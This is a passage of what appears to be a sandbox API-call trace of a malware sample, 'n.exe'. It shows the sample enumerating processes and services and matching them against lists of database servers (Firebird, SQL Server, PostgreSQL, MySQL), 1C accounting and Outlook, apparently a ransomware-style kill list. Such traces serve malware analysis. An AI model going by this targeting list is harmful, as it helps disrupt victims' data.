11 [0168.448] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.448] lstrlenW (lpString="svchost.exe") returned 11 [0168.448] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.448] lstrlenW (lpString="taskhost.exe") returned 12 [0168.449] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0168.449] lstrlenW (lpString="reader_sl.exe") returned 13 [0168.449] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0168.449] lstrlenW (lpString="n.exe") returned 5 [0168.449] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0168.449] lstrlenW (lpString="n.exe") returned 5 [0168.450] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0168.450] CloseHandle (hObject=0x118) returned 1 [0168.450] Sleep (dwMilliseconds=0x1f4) [0168.994] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0168.994] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0168.994] GetLastError () returned 0xea [0168.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0168.994] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0168.995] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0168.995] lstrlenW (lpString="Appinfo") returned 7 [0168.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.995] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.996] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.996] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.996] lstrlenW (lpString="AudioSrv") returned 8 [0168.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0168.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0168.996] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0168.996] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0168.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0168.996] lstrlenW (lpString="BFE") returned 3 [0168.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.996] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.996] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.996] lstrlenW (lpString="CryptSvc") returned 8 [0168.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.996] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.996] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.996] lstrlenW (lpString="CscService") returned 10 [0168.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0168.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0168.996] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0168.996] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0168.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0168.996] lstrlenW (lpString="DcomLaunch") returned 10 [0168.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.997] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.997] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.997] lstrlenW (lpString="Dhcp") returned 4 [0168.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.997] lstrlenW (lpString="Dnscache") returned 8 [0168.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.997] lstrlenW (lpString="DPS") returned 3 [0168.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.997] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.997] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.997] lstrlenW (lpString="eventlog") returned 8 [0168.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0168.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0168.997] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0168.997] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0168.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0168.997] lstrlenW (lpString="EventSystem") returned 11 [0168.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.998] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.998] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.998] lstrlenW (lpString="gpsvc") returned 5 [0168.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.998] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.998] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.998] lstrlenW (lpString="iphlpsvc") returned 8 [0168.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.998] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.998] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.998] lstrlenW (lpString="LanmanServer") returned 12 [0168.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.998] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.998] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.998] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.998] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.998] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.998] lstrlenW (lpString="lmhosts") returned 7 [0168.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.999] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.999] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.999] lstrlenW (lpString="MMCSS") returned 5 [0168.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0168.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0168.999] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0168.999] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0168.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0168.999] lstrlenW (lpString="MpsSvc") returned 6 [0168.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.999] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.999] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.999] lstrlenW (lpString="Netman") returned 6 [0168.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0168.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0168.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0168.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0168.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0168.999] lstrlenW (lpString="netprofm") returned 8 [0168.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.999] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.999] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.999] lstrlenW (lpString="NlaSvc") returned 6 [0169.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0169.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0169.000] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0169.000] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0169.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0169.000] lstrlenW (lpString="nsi") returned 3 [0169.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0169.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0169.000] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0169.000] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0169.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0169.000] lstrlenW (lpString="PcaSvc") returned 6 [0169.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0169.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0169.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0169.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0169.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0169.000] lstrlenW (lpString="PlugPlay") returned 8 [0169.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0169.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0169.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0169.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0169.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0169.000] lstrlenW (lpString="Power") returned 5 [0169.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0169.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0169.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0169.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0169.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0169.000] lstrlenW (lpString="ProfSvc") returned 7 [0169.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0169.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0169.001] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0169.001] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0169.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0169.001] lstrlenW (lpString="RpcEptMapper") returned 12 [0169.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0169.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0169.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0169.001] lstrlenW (lpString="RpcSs") returned 5 [0169.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0169.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0169.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0169.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0169.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0169.001] lstrlenW (lpString="SamSs") returned 5 [0169.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0169.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0169.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0169.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0169.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0169.001] lstrlenW (lpString="Schedule") returned 8 [0169.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0169.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0169.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0169.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0169.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0169.001] lstrlenW (lpString="SENS") returned 4 [0169.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0169.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0169.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0169.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0169.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0169.002] lstrlenW (lpString="ShellHWDetection") returned 16 [0169.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0169.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0169.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0169.002] lstrlenW (lpString="Spooler") returned 7 [0169.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0169.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0169.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0169.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0169.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0169.002] lstrlenW (lpString="SysMain") returned 7 [0169.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0169.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0169.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0169.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0169.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0169.002] lstrlenW (lpString="Themes") returned 6 [0169.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0169.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0169.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0169.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0169.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0169.002] lstrlenW (lpString="TrkWks") returned 6 [0169.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0169.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0169.003] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0169.003] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0169.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0169.003] lstrlenW (lpString="UxSms") returned 5 [0169.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0169.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0169.003] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0169.003] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0169.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0169.003] lstrlenW (lpString="WdiServiceHost") returned 14 [0169.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.003] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0169.003] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0169.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0169.003] lstrlenW (lpString="WdiSystemHost") returned 13 [0169.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.003] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0169.003] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0169.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0169.003] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0169.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.003] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0169.003] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0169.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0169.003] lstrlenW (lpString="Winmgmt") returned 7 [0169.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0169.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0169.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0169.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0169.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0169.004] lstrlenW (lpString="WPDBusEnum") returned 10 [0169.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.004] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0169.004] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0169.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0169.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0169.004] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0169.005] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.006] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.006] lstrlenW (lpString="System") returned 6 [0169.006] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0169.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0169.006] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0169.006] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0169.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0169.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0169.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0169.006] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.007] lstrlenW (lpString="smss.exe") returned 8 [0169.007] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0169.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0169.007] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0169.007] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0169.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0169.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0169.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0169.007] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.007] lstrlenW (lpString="csrss.exe") returned 9 [0169.007] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.008] lstrcmpiW (lpString1="outlook.exe", 